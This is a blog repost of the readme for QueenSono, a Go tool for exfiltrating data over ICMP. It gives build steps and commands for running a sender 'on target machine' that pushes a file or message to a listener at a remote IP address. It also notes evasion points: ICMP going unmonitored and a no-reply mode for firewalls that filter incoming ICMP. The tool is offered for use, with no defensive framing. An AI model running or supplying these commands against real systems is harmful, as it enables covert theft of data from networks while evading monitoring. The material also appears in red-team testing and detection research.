Linchakin

QueenSono - Golang Binary For Data Exfiltration With ICMP Protocol

 September 25, 2021     No comments   

QueenSono tool only relies on the fact that ICMP protocol isn't monitored. It is quite common. It could also been used within a system with basic ICMP inspection (ie. frequency and content length watcher). Try to imitate PyExfil (and others) with the idea that the target machine does not necessary have python installed (so provide a binary could be useful)

 
Install

> Install the binary from source

Clone the repo and download the dependencies locally:

git clone https://github.com/ariary/QueenSono.git
make before.build

To build the ICMP packet sender qssender :

 build.queensono-sender

To build the ICMP packet receiver qsreceiver :

 build.queensono-receiver

Usage

qssender is the binary which will send ICMP packet to the listener , so it is the binary you have to transfer on your target machine.

qsreceiver is the listener on your local machine (or wherever you could receive icmp packet)

All commands and flags of the binaries could be found using --help


Example 1: Send with "ACK"

> In this example we want to send a big file and look after echo reply to ackowledge the reception of the packets (ACK).

On local machine:

$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
Explanation
  • -l 0.0.0.0listen on all interfaces for ICMP packet
  • -f received_bible.txt save received data in a file
  • -p show a progress bar of received data

On target machine:

$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt
Explanation
  • send file for sending file (bible.txt is the file in question)
  • -d 2 send a packet each 2 seconds
  • -l 127.0.0.1 the listening address for echo reply
  • -r 10.0.0.92 the address of my remote machine with qsreceiver listening
  • -s 50000 the data size I want to send in each packet

Example 2: Send without "ACK"

> In this example we want to send a message without waiting for echo reply (it could be useful in case the target firewall filters incoming icmp packet)

On local machine:

$ qsreceiver receive truncated 1 -l 0.0.0.0
Explanation
  • receive truncated 1 does not wait indefinitely if we don't received all the packets. (1 is the delay used with qssender)

On target machine:

$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 127.0.0.1 -r 10.0.0.190 go.mod -s 1 -N
Explanation
  • -N noreply option (don't wait for echo reply)

Notes
  • only work on Linux (due to the use of golang net icmp package)
  • need cap_net_raw capabilities

Adblock test (Why?)


You may be interested in:
>> Is a Chromebook worth replacing a Windows laptop?
>> Find out in detail the outstanding features of Google Pixel 4a
>> Top 7 best earbuds you should not miss

Related Posts:
>> Recognizing 12 Basic Body Shapes To Choose Better Clothes
>>Ranking the 10 most used smart technology devices
>> Top 5+ Best E-readers: Compact & Convenient Pen
  • Share This:  
  •  Facebook
  •  Twitter
  •  Google+
  •  Stumble
  •  Digg
Email ThisBlogThis!Share to XShare to Facebook

Related Posts:

  • OMGMercedes-Benz invents a car that you can control with your mindAre you annoyed by constantly going through the menus on your car's touchscreen? Mercedes-Benz has a very futuristic solution. On Monday, at the IAA M… Read More
  • Best iOS Emulators for PC and Smartphones [Windows, Mac, and Android] iOS emulator is used by developers to test the apps that they are developing for the iOS platform. iOS emulators are the program that can duplicate … Read More
  • CREEPYGoDaddy and Digital Ocean just banned this creepy abortion reporting siteGoDaddy has informed Texas Right to Life that they're being evicted. The domain host let the anti-abortion group know that their site, which allows ci… Read More
  • macsoftwarepro You may be interested in: >> Is a Chromebook worth replacing a Windows laptop? >> Find out in detail the outstanding features of Google P… Read More
  • SEC Sanctions Several Companies over Email Account Hacking Earlier this week the SEC (Securities and Exchange Commission) in the USA penalized various companies due to cyber security breakdowns. Hackers took … Read More
Newer Post Older Post Home

0 Comments:

Post a Comment


Copyright © 2025 Linchakin | Powered by Blogger
Design by Hardeep Asrani | Blogger Theme by NewBloggerThemes.com | Distributed By Gooyaabi Templates